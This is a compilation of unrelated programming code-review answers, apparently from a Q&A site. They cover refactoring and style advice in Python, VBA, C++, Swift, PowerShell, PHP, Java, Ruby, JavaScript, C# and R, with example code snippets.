Design

As it stands, your current design is very rigid, and not extensible in any way. The best approach for a situation like this could be to use Object Oriented Programming, but in accordance with the Python talk, Stop Writing Classes, all of your code can be shortened to one function.

def fight_enemy(enemy_name, min_enemy_damage, max_enemy_damage, min_player_damage, max_player_damage):
    enemy_damage_dealt = random.randint(min_enemy_damage, max_enemy_damage)
    player_damage_dealt = random.randint(min_player_damage, max_player_damage)

    if enemy_damage_dealt > player_damage_dealt:
        print("Uh-oh! You died!")
    elif enemy_damage_dealt < player_damage_dealt:
        print("You killed the {enemy_name}".format(enemy_name=enemy_name))
    else:
        print("You walk away unscathed, but the {enemy_name} still lives.".format(enemy_name=enemy_name))

Here's an example function call:

fight_enemy("Enemy", 1, 10, 1, 10)

Naming

Many of your variable names are so cryptic that it's understand what they're doing, even in the context of other code. Here's a small list of some of your bad variable names.

fdmg1
edmg_c

While identifying bad names is important, fixing them is even better. Here's a small list of tips to follow when naming variables.

Don't make the name too short. (Unless you're doing stuff like coordinates, with x, and y.)
Don't include abbreviations unless the name is long, and the abbreviations are still readable.
Use underscores _ to separate words.

Nitpicks

When getting an value from random.randint(), there's no need to convert to an integer using int. random.randint() already returns an integer value.

You should also be using string formatting with str.format, rather than passing multiple arguments to print(). For example, the following line:

print("The Enemy hits a", edmg_b)

Would become:

print("The Enemy hits a {damage}".format(damage=edmg_b))

For more on str.format, see the docs.

You also have to useless imports:

import time
import sys

If you don't use the contents of these modules, the imports can be removed.

In short, I've refactored your code down to this:

import random

def fight_enemy(enemy_name, min_enemy_damage, max_enemy_damage, min_player_damage, max_player_damage):
    enemy_damage_dealt = random.randint(min_enemy_damage, max_enemy_damage)
    player_damage_dealt = random.randint(min_player_damage, max_player_damage)

    if enemy_damage_dealt > player_damage_dealt:
        print("Uh-oh! You died!")
    elif enemy_damage_dealt < player_damage_dealt:
        print("You killed the {enemy_name}".format(enemy_name=enemy_name))
    else:
        print("You walk away unscathed, but the {enemy_name} still lives.".format(enemy_name=enemy_name))

Hope this helps! Enjoy!


Kudos for explicit Public and the ByVal parameter. I wouldn't make it return a String() array though.

You can't know that every value in the source Range can be converted to a String.

returnValue(cl) = CStr(temporaryVariant(cl))

This instruction will make your function fail if the convertRange contains any Error value. You need to first verify whether IsError(temporaryVariant(cl)) before you can attempt any safe type conversion.

But then, what would you do with a value that can't be converted? Remove it from the results? Return an empty string?

What if the range is all numeric values, that the calling code needs to add up; there's some serious overhead going on with iterating both dimensions of a 2D array to convert everything to a String, and then doing the same thing again to convert strings back to Double for proper calculations.

IMO that's one of the cases where you're better off just returning a Variant. That significantly cuts down the implementation:

Public Function ToArray(ByVal target As Range) As Variant
    Select Case True
        Case target.Rows.Count = 1
            'horizontal 1D range
            ToArray = Application.WorksheetFunction.Transpose(Application.WorksheetFunction.Transpose(target)).Value
        Case target.columns.Count = 1
            'vertical 1D range
            ToArray = Application.WorksheetFunction.Transpose(target).Value
        Case Else
            '2D array: let Excel to the conversion itself
            ToArray = target.Value
    End Select
End Function

Note I renamed the function to a more straightforward ToArray which lets the argument speak for itself, and renamed convertRange to the more idiomatic (it comes up a lot in worksheet event handlers) target (it's also a noun, which is more appropriate than something that looks like a verb for naming a variable).

The caller now has access to the actual types - with everything it means: if a value's type IsError, then the caller needs to deal with it accordingly. If a value IsNumeric, then the caller can perform arithmetic operations on it without incurring implicit type conversions (aside from unwrapping the value from the Variant). If the value IsDate, then the caller can work with dates without ever having to deal with how VBA might be representing that date value in a String.

And performance-wise, it's now as fast as it's going to get (pretty much instant), regardless of the size of the returned array.

I'm not too fond of Select Case True. Case conditions are still going to be evaluated sequentially until one matches, so at the end of the day it's not much different from a more conventional construct:

Public Function ToArray(ByVal target As Range) As Variant
    If target.Rows.Count = 1 Then
        'horizontal 1D range
        ToArray = Application.WorksheetFunction.Transpose(Application.WorksheetFunction.Transpose(target.Value))
    ElseIf target.columns.Count = 1 Then
        'vertical 1D range
        ToArray = Application.WorksheetFunction.Transpose(target.Value)
    Else
        '2D array: let Excel to the conversion itself
        ToArray = target.Value
    End If
End Function

...which removes an indentation level, and puts the conditions where we'd normally expect them. We're also explicitly assigning to the .Value of the range, transposed or not, instead of implicitly pulling the ranges' default member.


Better option than "errno" for file IO error handling

I currently don't see any seamless alternative to using errno and ::strerror;.

#include <stdexcept>
#include <system_error>
#include <string>
#include <iostream>

#include <cstring> // strerror

#include <fstream>

#if defined(_LIBCPP_VERSION) && (_LIBCPP_VERSION >= 1000)
#define HAS_IOS_BASE_FAILURE_DERIVED_FROM_SYSTEM_ERROR 1
#else
#define HAS_IOS_BASE_FAILURE_DERIVED_FROM_SYSTEM_ERROR 0
#endif

using std::cerr;
using std::cout;
using std::endl;

int main(/*int argc, char** argv*/) {
    int rv = EXIT_SUCCESS;
    errno = 0;

    try {
        std::ifstream ifs;
        ifs.exceptions(std::ios::badbit | std::ios::failbit);
        ifs.open("DOESN'T EXIST");

    } catch (const std::ios_base::failure& e) {

#if (HAS_IOS_BASE_FAILURE_DERIVED_FROM_SYSTEM_ERROR)
        //
        // e.code() is only available if the lib actually follows iso §27.5.3.1.1
        // and derives ios_base::failure from system_error
        // like e.g. libc++
        // http://llvm.org/viewvc/llvm-project/libcxx/trunk/include/ios?revision=193085&view=markup
        // (line 415)
        //
        // and not keeps on deriving it directly from runtime_error
        // like libstdc++
        // https://github.com/mirrors/gcc/blob/master/libstdc%2B%2B-v3/include/bits/ios_base.h#L209
        //
        cout << "libc++ error #"    << e.code().value()
                << ' '              << e.code().message()
                << ',' << endl << "    ";
#endif
        cout << "libc error #"      << (rv = errno)
                << ": "             << ::strerror(errno)
                << endl;

        cout << "handled" << endl;
    }

    return rv;
}

using the the new e.code() semantics yields (with clang 3.4 and libc++ 1101) only the first line of

libc++ error #1 unspecified iostream_category error,
    libc error #2: No such file or directory
handled

Live

So even if one's lucky enough to have a std:: implementation that cares about iso §27.5.3.1.1 and actually derives ios_base::failure from system_error, the msg generated is too poor to be presented to users.

The only thing to be discussed is how the libc messages are best incorporated into wrapper classes.


You worry about triggerImmediately being too verbose (which can be fixed), yet you have addObserverForOwner as the primary function name, and for me, this is the part that is a bit too verbose.

Since what we're doing with this is so similar to the existing KVO in Objective-C (which can also be used in Swift), we'd do well to make this look and feel like KVO.

The KVO method looks like this: addObserver:forKeyPath:options:context:.  In KVO however, we don't get to pick our own handler.  We just have to implement observeValueForKeyPath:ofObject:change:context:.

Now, I'm not going to recommend a direct copy.  We can drop the forKeyPath: part of the first method.  The general consensus with KVO also seems to be that context: is relatively useless (it's a value you send when you start observing, and it is sent back to you in the call back method).  I also do like that you're suggesting the user can pick whatever method or function they want as the handler.

But, let's make some changes, shall we?

First of all, let's change our handler.  Instead of a method that takes an oldValue and a newValue, let's use a method that just takes a dictionary, shall we?

We're doing this, because we should change triggerImmediately to options, and provide an enum that lets users build a bitmask for their options.  In KVO, we have the following options:

NSKeyValueObservingOptionNew
NSKeyValueObservingOptionOld
NSKeyValueObservingOptionInitial
NSKeyValueObservingOptionPrior

The first two are self explanatory.

NSKeyValueObservingOptionInitial is a flag that say the handler block should be called before the addObserver method is finished--we send the current value of the observable to the handler block as a "new" value.

NSKeyValueObservingOptionPrior means the user wants to know about the values just before they're actually changed.  In the case of Swift, this means we'd fire in willSet with this option on (but we also still fire in didSet).

I'm not suggesting you use the NSKeyValueObservingOption enum.  I suggest you create your own enum.  As a minimum, include these options, but you may want to include others as well at some point in the future.  Maybe a StopObservingAfterChange option that automatically removes the observer after the first didSet for example.

But anyway, about our handler.  It should just take a dictionary argument as I stated earlier.  What values it contains will depend on the scenario and which bits are set in the options.

If the new bit is set, the dictionary will always hold the new value.  If the old bit is set, it will hold the old value in every situation it can (i.e. not when the initial bit is set and we fire before the addObserver method returns).

If the prior bit is set, when we call the handler from willSet, we include another key: "prior" which holds a boolean value of true.  I guess you could realistically include this key every time just set it to false in every other scenario.

Anyways, changing the add observer method to:

addObserver(observer:AnyObject, options:ObservableOptions, handler:DidChangeHandler);

Means that you can always add options in the future without screwing up any of the existing uses.  And changing the handler to taking a dictionary means we throw all the values we want to send to the handler into the dictionary, and not only is the handler flexible for different current use cases, it is also flexible for all future use cases.

As a final note, I might include constant values to use as the keys to the "change" dictionary.


Project Euler #3 - how inefficient is my code?

You can save quite a bit time on your prime generation. What you should keep in mind is that a prime is a number which is no multiple of a prime itself; all other numbers are.

So in your isPrime function you can just go through your primes list and check if each prime is a divisor of the number. If not, then it is a prime itself. Of course you would need to make sure that you fill your primes list enough first.

As the most basic idea, you only need to check until sqrt(n), so you only generate numbers this far. And you can also just skip every even number directly. You could also make similar assumptions for numbers dividable by 3 etc., but the even/uneven is the simplest one and enough to get fast results for not too big numbers.

So a prime generation algorithm, for possible prime divisors up to n, could look like this:

primes = [2]
for i in range(3, int(math.sqrt(n)), 2):
    isPrime = not any(i % p == 0 for p in primes)
    if isPrime:
        primes.append(i)

Then to get the prime factors of n, you just need to check those computed primes:

primeFactors = []
m = n
for p in primes:
    while m % p == 0:
        m = m / p
        primeFactors.append(p)
    if m == 0:
        break

print('The prime factorization of `{0}` is: {1}'.format(n, '×'.join(map(str,primeFactors))))

For the euler problem 3 with n = 317584931803, this would produce the following output:

  The prime factorization of 317584931803 is: 67×829×1459×3919


Gather list of all IDs ordered by submission date and ID by parsing file path

here is a solution that uses ...

-Filter instead of -Include
this is usually faster since the filtering is done by the provider [the filesystem in this case] instead of by the cmdlet.

[PSCustomObject] object construction
faster than Select-Object for building custom objects, since it does not require building/tearing-down a pipeline. plus the Select-Object cmdlet has a great deal of complex logic that is not needed here.

$AgencyList = foreach ($FL_Item in $FileList) loop assignment
this is VASTLY faster than $AgencyList += for large collections, but only slightly faster for small ones.

$SourceDir = $env:TEMP
$Filter = '*itunes*'
$TargetYear = 2019
$ExportFile = "$env:TEMP\jasonmadesomething_AgencyList.csv"

$GCI_Params = @{
    LiteralPath = $SourceDir
    Filter = $Filter
    File = $True
    Recurse = $True
    }
$FileList = Get-ChildItem @GCI_Params |
    Where-Object {$_.LastWriteTime.Year -eq $TargetYear}

$AgencyList = foreach ($FL_Item in $FileList)
    {
    [PSCustomObject]@{
        # i don't have any suitable directory info
        #    so i used the BaseName of the file
        Agency = $FL_Item.BaseName.Split('.')[0] -replace '^Itunes_', ''
        LastWriteTime = $FL_Item.LastWriteTime
        }
    }

# this gives a list sorted by ...
#    Agency [alfa sorted 'A' to 'Z' and/or '0' to '9']
#    LastWriteTime [oldest 1st]
$AgencyList = $AgencyList |
    Sort-Object -Property Agency, LastWriteTime

# on screen
$AgencyList

# to CSV
$AgencyList |
    Export-Csv -LiteralPath $ExportFile -NoTypeInformation

truncated on screen output ...

Agency                  LastWriteTime
------                  -------------
AlbumAutoRating_Disable 2019-01-07 12:22:00 PM
AlbumAutoRating_Disable 2019-01-14 12:20:36 PM
AlbumAutoRating_Disable 2019-01-21 12:20:41 PM
AlbumAutoRating_Disable 2019-01-28 12:22:14 PM
AlbumAutoRating_Disable 2019-02-04 12:21:55 PM
[*...snip...*]
R-PC-SC_Save            2019-01-24 12:38:09 PM
R-PC-SC_Save            2019-02-07 12:37:53 PM

truncated CSV file content ...

"Agency","LastWriteTime"
"AlbumAutoRating_Disable","2019-01-07 12:22:00 PM"
"AlbumAutoRating_Disable","2019-01-14 12:20:36 PM"
"AlbumAutoRating_Disable","2019-01-21 12:20:41 PM"
"AlbumAutoRating_Disable","2019-01-28 12:22:14 PM"
"AlbumAutoRating_Disable","2019-02-04 12:21:55 PM"
[*...snip...*]
"R-PC-SC_Save","2019-01-24 12:38:09 PM"
"R-PC-SC_Save","2019-02-07 12:37:53 PM"


This is not OOP.

Just using class does not make your code object oriented.  Writing OO code is about encapsulating the state and behavior into objects.

See this answer which explains why public properties and static are bad.

Static is Already Hurting You

Your code relies on Config::get.  Anyone who wants to reuse this class will need to have a class named Config with a method named get.  This is what your class depends on.  If you try to unit test this class you will find it difficult to test it as a unit.  It is already hard-coded to rely on the Config class.

Dependency Injection / Inversion Of Control

To remove the tight coupling to your Config object you should pass in the dependencies to the constructor of the object:

class Noti
{
    protected $app;
    protected $config;

    public function __construct(Config $config)
    {
        $this->config = $config;
    }

    public function getStatus()
    {
        $this->app = $this->config->get('noti.app_id');
        // etc.
    }
}

Note: I would use docblock comments above to explain all of the methods and properties.

The tight coupling to the Config class's get method has been modified.  From above we see that any Config object or derived class (We type-hinted for Config in the constructor) can be passed into the Noti class.  This could be further decoupled by Type-Hinting for an interface that specifies the contract for the Config object implementation.

The testing is now simple as a mock object can be passed into the constructor and there are no hard-coded dependencies left in the code.

Method Names

Method names should be descriptive.  Consider using verb+noun to describe your methods:

getStatus // instead of status
getQuery  // instead of format

Now we know that we are returning the status, and formatting a URL.  Note: As mseancole points out you are doing too much in your status method.


for (int i=0; i < initial.size()-1; i++) {
            if (i > 0 && initial.get(i-1) == 0 && initial.get(i+1) == 0) {
                current = current.turn();
                winner = current;
                initial.remove(i);
                i = 0;
            }
        }

You don't need to do initial.size() - 1 on each iteration.  Consider

        for (int i = 2; i < initial.size(); i++) {
            if (initial.get(i) == 0 && initial.get(i - 2) == 0) {
                current = current.turn();
                initial.remove(i - 1);
                i = 1;
            }
        }

This starts with the third element.  If it's not a 0, then there is no reason to check other values.  No math needed.  If it is a 0, then it verifies that the element two places prior is a 0.  Only then does it proceed to processing.

Note that setting i to 1 means that it will be 2 again for the next iteration.  There were actually offsetting mistakes in the original code that made it work.  You don't need i to ever be 0, so setting i to 0 and then incrementing to 1 worked.


Since you're using a LIKE with wildcards, you're going to do a table-scan against both tables, running a total of 18000*1500 = 27000000 substring comparisons.

To optimize this, you need to use some fulltext index technology.  I suggest Sphinx Search or Apache Solr.  If you do this, you don't need to keep a count of how many matches there are, because the search index makes it a lot less expensive to get a count on demand.

MySQL also implements a FULLTEXT index type, but it is only supported in the MyISAM storage engine in current versions (up to 5.5).  I don't recommend using MyISAM for important data.

MySQL 5.6 is developing a fulltext index for InnoDB.


A Ruby string literal can be enclosed in single or double quotes. The
difference is that the latter does string interpolation.
Examples (from Double vs single quotes on Stack Overflow):

a = 2
puts "#{a}" # prints the value of a

puts 'a\nb' # just print a\nb
puts "a\nb" # print a, then b at newline

That may be wanted (e.g. to include newline characters), or not:

puts rot13_string "#{Wot?}"
// rot13.rb:100:in `<main>': undefined method `Wot?' for main:Object (NoMethodError)

so generally you should enclose the string literals in single-quotes.

The regular expression /[[:upper:]]/ matches all "uppercase alphabetical characters" (Unicode characters in the "Lu" general category, to be precise), and not just the ASCII uppercase letter A...Z.

Therefore your method can produce garbage, e.g. for German "umlauts",
or even crash, e.g. for Greek letters:

puts rot13_string "ÄÖÜ"
puts rot13_string "ΔΘΣ"

Output:

???
rot13.rb:42:in `chr': 903 out of char range (RangeError)
    from rot13.rb:42:in `rot13_char'
    from rot13.rb:62:in `block in rot13_string'
    from rot13.rb:61:in `each'
    from rot13.rb:61:in `rot13_string'
    from rot13.rb:86:in `'

That might not be relevant for this specific programming challenge (which
probably works with ASCII only).

But generally, to substitute only ASCII letters and ignore all other input, the patterns should be
/[A-Z]/ and /[a-z]/, respectively.

The rot13_string can be shortened to

def rot13_string str
  # Apply ROT13 cipher to all characters in a string
  #str+:: the string to apply ROT13 to
  str.each_char.map { |ch| rot13_char ch }.join("")
end

Instead of creating an array with all characters and appending each
mapped character to the result array, each_char
returns an enumerator for the characters, and map returns an
array with the transformed characters.

In the same way, the rot13 function becomes

def rot13 messages
  # Apply ROT13 to an array of "messages" i.e. strings
  # +messages+:: the array of strings to apply ROT13 to
  messages.map { |msg| rot13_string msg }
end

As an alternative, you can use the tr method which takes two string arguments
(with possible ranges) and transforms the given string by replacing
each character in the first argument by the corresponding character
in the second argument:

def rot13_string str
  # Apply ROT13 cipher to all characters in a string
  # +str+:: the string to apply ROT13 to
  str.tr('A-Za-z', 'N-ZA-Mn-za-m')
end

(From https://rosettacode.org/wiki/Rot-13#Ruby.)

This also works "Unicode-correct" in the sense that all other
Unicode characters are preserved. It is less flexible than your
approach however, since you cannot simply change the "offset" from
13 to any other number.


Checking whether an array contains all distinct values

Naming

tmp isn't the best names for the parameter because is not actually temporary - any changes made to the array inside that method will be reflected in the array outside the method. A better name would be nums or something similar.

A method called distinctValues should not return true when there are duplicates so, the return statements should be swapped.

Convention

Instead of starting at arr.length - 1 and moving towards 0, a more common pattern for iterating over elements in a list in Java is starting at 0 and moving towards arr.length - 1:

for(int i=0; i < arr.length; i++){

in cases where you don't need to know what index you are currently examining and you do not need to modify the array it's prefered to use a for-each loop

for(int n : arr){

Algorithm

Your current algorithm works in O(n2) worst case. This can trivially be made to be O(n) at the cost of some memory using the algorithm described in this StackOverflow answer.

After the convention and naming changes above, your original code should look like this:

public static boolean distinctValues(int[] arr){
    for (int i = 0 i < arr.length-1; i++) {
        for (int j = i+1; j < arr.length; j++) {
             if (arr[i] == arr[j]) {
                 return false;
             }
        }
    }
    return true;
}

and after implementing the new algorithm:

import java.util.Set;
import java.util.HashSet;
public static boolean distinctValues(int[] arr){
    Set<Integer> foundNumbers = new HashSet<Integer>();
    for (int num : arr) {
        if(foundNumbers.contains(num)){
            return false;
        }
        foundNumbers.add(num);
    }
    return true;
}

I originally used a BitSet instead of a HashSet. While BitSet is generally more efficient, it does not support negative values. If you can guarantee that no values in the array will be negative, BitSet is still the better option.

Generalization

If this is for an assignment that asks for this to be implemented for an int[], you can ignore this part but, it's always good to generalize methods as much as possible. In this case int[] can be generalized to Iterable<Object>. The downside of this is that you can't call it on an Array and more; you have to first do Arrays.asList(arr)

public static boolean  distinctValues(Iterable<Object> objs){
    Set<Object> foundObjects = new HashSet<>();
    for(Object o : objs){
        if(foundObjects.contains(o)){
            return false;
        }
        foundObjects.add(o);
    }
    return true;
}


You are basically trying to show timer, which can be up to hours. Best way to calculate and represent that for your usecase is definitely by just one variable, which holds all the seconds. That way your code handling current state is a lot simpler - you have just one variable, you decrease it every second until it's done.
You will have more work displaying that value as you will have to calculate minutes and seconds, but that's fine.
Definitely extract that to function - you pass number of seconds and you get string representing it. You may even consider using library for that or a number formatter. There are plenty ways how to do that:
https://stackoverflow.com/questions/3733227/javascript-seconds-to-minutes-and-seconds
Your variable timerRunning is redundant. In your code same meaning has expression timeLeft[1] < 0 && timeLeft[0] < 0. You really don't want redundancy, that leads to bugs. Again you can extract to function isTimerRunning if you need it. But again if you end up with only one timeLeft variable with representing all in seconds, you just need !timeLeft to check, if timer is over.
Probably not a problem in your case, but keep in mind, that setInterval is not very reliable time-wise. It pings "around" every second, but it jumps a lot. More on this here:
https://stackoverflow.com/questions/29971898/how-to-create-an-accurate-timer-in-javascript

Edit:

In this line function time() { // Restart timer you poorly name your function and then you have to comment it to describe what it does. Why not just name function restartTimer and you can delete comment?


If repetition is your primary concern, you could try doing something like this:

public delegate string ParserMethod(string value, NumberStyles numberStyle, CultureInfo inCulture, CultureInfo outCulture);

public static class NumericParser
{
    public static readonly ParserMethod ParseInt = Create<int>(int.TryParse);
    public static readonly ParserMethod ParseFloat = Create<float>(float.TryParse);
    public static readonly ParserMethod ParseDouble = Create<double>(double.TryParse);
    public static readonly ParserMethod ParseDecimal = Create<decimal>(decimal.TryParse);

    public static Logger Logger { get; set; }

    delegate bool TryParseMethod<T>(string s, NumberStyles style, IFormatProvider provider, out T result);
    static ParserMethod Create<T>(TryParseMethod<T> tryParse) where T : IFormattable
    {
        return (value, numberStyle, inCulture, outCulture) =>
        {
            T result;
            if (tryParse(value, numberStyle, inCulture, out result))
            {
                return result.ToString(null, outCulture);
            }
            else
            {
                if (Logger != null && Logger.IsDebugEnabled)
                    Logger.DebugFormat("Could not parse value \"{0}\" to a {1} using the culture \"{2}\".", value, typeof(T).Name, inCulture);
                return "";
            }
        };
    }
}

This way, you only have to pass around the appropriate ParserMethod you want to use.  In your case, you could map your different mapping values to the appropriate ParserMethod.  And call it when needed.


You could evict the count dictionary altogether and use three counters. Next, you scan each character and increment/decrement the corresponding counter. The answer is true if after scanning all the characters all three counters are zero. For example, if we scan [, we increment the counter for [ and ]; if we scan ], we decrement that very same counter. (Before the scan all counters are set to zero.)

All in all, I had this in mind:

private static bool WellFormatted(string inputString)
{
    int braceCount = 0;         // Counts '{' and '}'.
    int parenthesisCount = 0;   // Counts '(' and ')'.
    int squareBracketCount = 0; // Counts '[' and ']'.

    foreach (char c in inputString)
    {
        switch (c)
        {
            case '{':
                braceCount++;
                break;

            case '}':
                braceCount--;
                break;

            case '(':
                parenthesisCount++;
                break;

            case ')':
                parenthesisCount--;
                break;

            case '[':
                squareBracketCount++;
                break;

            case ']':
                squareBracketCount--;
                break;
        }
    }

    return braceCount == 0
        && parenthesisCount == 0
        && squareBracketCount == 0;
}

Also, from mathematical perspective, I would accept the empty string as a valid "parenthezation."


Displaying dependent options when a selection is made in a dropdown

There are definitely improvements. Let us start with some basics.

Begin your file with

'use strict';

This avoids a class of nasty bugs that easily creep into JavaScript programs.

Do not use global variables. Parameterization is generally the best option but in this case we can avoid polluting the global namespace by simply wrapping our code in an immediately invoked function expression (IIFE).

(function () {
    var elements;
    var i = 0;
    var isError = false;
    var errorMessage;
    var correctMessage = '✓';
    var errorSpan;
    ...
}());

Continuing, there is indeed a lot of repetition as you have correctly recognized. Fortunately, JavaScript makes it easy to remove this kind of duplication while at the same time making our code more declarative. Let's start with some simple refactoring

function hide(element) {
    element.classList.add('hidden');
}

function show(element) {
    element.classList.remove('hidden');
}

Now let us extract the code under // check adventure dropdown choice
gets us to this so far

function checkAdventureDropdown(option) {
    if (option.id !== 'adventure') {
        return;
    }

    if (adventureForm.selectedIndex === 0) {
        dropDowns.classList.add('hidden');
    } else if (adventureForm.selectedIndex === 1) {
        dropDowns.classList.remove('hidden');
        charterDrop.classList.remove('hidden');
        mountainDrop.classList.add('hidden');
        trampDrop.classList.add('hidden');
        photoDrop.classList.add('hidden');
    } else if (adventureForm.selectedIndex === 2) {
        dropDowns.classList.remove('hidden');
        charterDrop.classList.add('hidden');
        mountainDrop.classList.remove('hidden');
        trampDrop.classList.add('hidden');
        photoDrop.classList.add('hidden');
    } else if (adventureForm.selectedIndex === 3) {
        dropDowns.classList.remove('hidden');
        charterDrop.classList.add('hidden');
        mountainDrop.classList.add('hidden');
        trampDrop.classList.remove('hidden');
        photoDrop.classList.add('hidden');
    } else if (adventureForm.selectedIndex === 4) {
        dropDowns.classList.remove('hidden');
        charterDrop.classList.add('hidden');
        mountainDrop.classList.add('hidden');
        trampDrop.classList.add('hidden');
        photoDrop.classList.remove('hidden');
    }
}

Note that we can factor out the common test into an early return.
There is a lot more we can do here. We could simplify with a switch statement, but I think a cleaner approach would be to use an object.
Let us convert our imperative conditional code into a mapping that declares which elements should be visible and which elements need to be hidden for each specific option.

var states = {
    0: { hide: [dropDowns], show: [] },
    1: {
        hide: [trampDrop, mountainDrop, photoDrop],
        show: [dropDowns, charterDrop]
    },
    2: {
        show: [mountainDrop],
        hide: [charterDrop, trampDrop, photoDrop]
    },
    3: {
        show: [trampDrop],
        hide: [charterDrop, mountainDrop, photoDrop]
    },
    4: {
        show: [dropDowns, photoDrop],
        hide: [charterDrop, mountainDrop, trampDrop]
    }
}

Not only is this more readable, as we can see clearly which states include and exclude which components. Now checkAdventureDropdown becomes quite simple, with very few places for bugs to hide.

function checkAdventureDropdown(option, states) {
    if (option.id !== 'adventure') {
        return;
    }
    var state = states[adventureForm.selectedIndex];
    state.show.forEach(show);
    state.hide.forEach(hide);
}

Here is what we end up with

'use strict';
(function () {
    var elements;
    var i = 0;
    var isError = false;
    var errorMessage;
    var correctMessage = '✓';
    var errorSpan;

    var adventureForm;
    var charterDrop;
    var mountainDrop;
    var trampDrop;
    var photoDrop;
    var dropDowns;

    var states = {
        0: { hide: [dropDowns], show: [] },
        1: {
            hide: [trampDrop, mountainDrop, photoDrop],
            show: [dropDowns, charterDrop]
        },
        2: {
            show: [mountainDrop],
            hide: [charterDrop, trampDrop, photoDrop]
        },
        3: {
            show: [trampDrop],
            hide: [charterDrop, mountainDrop, photoDrop]
        },
        4: {
            show: [dropDowns, photoDrop],
            hide: [charterDrop, mountainDrop, trampDrop]
        }
    };
    if (option.id !== 'adventure') {
        return;
    }
    function checkAdventureDropdown() {
        var state = states[adventureForm.selectedIndex];
        state.show.forEach(show);
        state.hide.forEach(hide);
    }
    checkAdventureDropdown();
}());

There is definitely room for improvement, but I would argue that this is a step in the right direction.

Looking over the linked html, each possible value of adventureForm.selectedIndex corresponds to a meaningful string value. We can leverage this value, which is exposed via adventureForm.value, to further increase readability by giving out states meaningful names instead of numeric indeces.

var states = {
    '': { hide: [dropDowns], show: [] },
    charter: {
        hide: [trampDrop, mountainDrop, photoDrop],
        show: [dropDowns, charterDrop]
    },
    mountain: {
        show: [mountainDrop],
        hide: [charterDrop, trampDrop, photoDrop]
    },
    tramping: {
        show: [trampDrop],
        hide: [charterDrop, mountainDrop, photoDrop]
    },
    photograph: {
        show: [dropDowns, photoDrop],
        hide: [charterDrop, mountainDrop, trampDrop]
    }
};

We can make this even cleaner by encapsulating our hide and show into a single function which understands our states and how to toggle them.

'use strict'
(function() {
    if (option.id !== 'adventure') {
        return;
    }

    var states = {
        '': { hide: [dropDowns], show: [] },
        charter: {
            hide: [trampDrop, mountainDrop, photoDrop],
            show: [dropDowns, charterDrop]
        },
        mountain: {
            show: [mountainDrop],
            hide: [charterDrop, trampDrop, photoDrop]
        },
        tramping: {
            show: [trampDrop],
            hide: [charterDrop, mountainDrop, photoDrop]
        },
        photograph: {
            show: [dropDowns, photoDrop],
            hide: [charterDrop, mountainDrop, trampDrop]
        }
    };

    function applyState(state) {
        hide(state.hide);
        show(state.show);

        function hide(elements) {
            elements.forEach(function (element) {
                element.classList.add('hidden');
            });
        }

        function show(elements) {
            elements.forEach(function (element) {
                element.classList.add('hidden');
            });
        }
    }

    var state = states[adventureForm.value];
    if (!state) {
        throw Error('invalid index');
    }
    applyState(state);
}());

Clarity is increasing fast. We can leverage hoisting to improve it still further.

'use strict';
(function() {
    if (option.id !== 'adventure') {
        return;
    }

    var states = {
        '': { hide: [dropDowns], show: [] },
        charter: {
            hide: [trampDrop, mountainDrop, photoDrop],
            show: [dropDowns, charterDrop]
        },
        mountain: {
            show: [mountainDrop],
            hide: [charterDrop, trampDrop, photoDrop]
        },
        tramping: {
            show: [trampDrop],
            hide: [charterDrop, mountainDrop, photoDrop]
        },
        photograph: {
            show: [dropDowns, photoDrop],
            hide: [charterDrop, mountainDrop, trampDrop]
        }
    };

    var state = states[adventureForm.value];
    if (!state) {
        throw Error('invalid index');
    }
    applyState(state);

    function applyState(state) {
        hide(state.hide);
        show(state.show);

        function hide(elements) {
            elements.forEach(function (element) {
                element.classList.add('hidden');
            });
        }

        function show(elements) {
            elements.forEach(function (element) {
                element.classList.add('hidden');
            });
        }
    }
}());

Here, we leverage the fact that JavaScript hoists function definitions to the top of their enclosing lexical scope to allow our code to read more naturally and declaratively. but we can use this technique to go further.

function getStates() {
    return {
        '': { hide: [dropDowns], show: [] },
        charter: {
            hide: [trampDrop, mountainDrop, photoDrop],
            show: [dropDowns, charterDrop]
        },
        mountain: {
            show: [mountainDrop],
            hide: [charterDrop, trampDrop, photoDrop]
        },
        tramping: {
            show: [trampDrop],
            hide: [charterDrop, mountainDrop, photoDrop]
        },
        photograph: {
            show: [dropDowns, photoDrop],
            hide: [charterDrop, mountainDrop, trampDrop]
        }
    };
}

leaving us with the quite elegant

'use strict'
(function() {
    if (option.id !== 'adventure') {
        return;
    }

    var states = getStates();
    var state = states[adventureForm.value];

    if (!state) {
        throw Error('invalid state');
    }
    applyState(state);

    function getStates { ... }

    function applyState(state) { ... }
}());

I would like to add that while the addition of the document.querySelector API is a big improvement, there are libraries such as jQuery that you can leverage to make your html itself more maintainable.


Ensure that column names in output retain original variable names, instead of using arbitrary X1, X2, etc

The most efficient way that I can think of is creating a function with rmvt which takes an additional argument to decide whether column names should be assigned based on the input (i.e. sigma) or not. If TRUE, before returning the results of rmvt function, it assigns the original names. See below (I used airquality dataset to make a reproducible example);

library(mvtnorm)
library(dplyr)

dat <- na.omit(datasets::airquality)[1:2,1:2]

muvec = apply(dat, 2, mean) #data is passed as R dataframe
sigma = cov(dat)
df = 10
n = 2

rmvt.names <- function(n, sigma = diag(2), df = 1, delta = rep(0, nrow(sigma)),
                       type = c("shifted", "Kshirsagar"), names = FALSE){
  out <- rmvt(n, sigma, df, delta, type)
  if (names) { colnames(out) <- colnames(sigma) }
  return(out)
}

lapply(1:n, function(x)
            rep(muvec, each=10) + rmvt.names(10, sigma=sigma, df=df, names = T)) %>%
  as.data.frame() %>%
  select (sort(names(.)))

#>       Ozone  Ozone.1    Solar.R  Solar.R.1
#> 1  37.47822 45.06226 139.286427 248.496571
#> 2  40.59224 42.78024 184.128243 215.635423
#> 3  33.03107 35.89953  75.247397 116.553211
#> 4  28.07207 28.48342   3.837864   9.761237
#> 5  38.15097 39.46869 148.974039 167.949166
#> 6  44.04143 42.68460 233.796536 214.258203
#> 7  36.54224 40.53313 125.808217 183.277053
#> 8  37.37606 38.77892 137.815314 158.016502
#> 9  43.99939 37.11836 233.191196 134.104332
#> 10 37.63792 32.28113 141.586044  64.448253

Created on 2020-05-06 by the reprex package (v0.3.0)


Simplifying redundancy
You could do something like iterating over the id attribute of each input element, calling a function to add the handler.
['priority', 'assignedTo', 'vendorticket'].forEach(addChangeHandler);

function addChangeHandler(inputId) {
    $("#" + inputId).change(function() { //Input/Select tag
        var output = ("#" + inputId + "-result");
        var data = {
            column: inputId,
            id: 15
        };
        data[inputId] = $(this).val()
        $.post({
            url: 'includes/view.func.php', // Updating database based on specified row id, column, and value
            data: data,
            success: function(result) {
                $(output).html(result); //Output span either "Saved" or "Save Failed"
            }
        });
    });
}

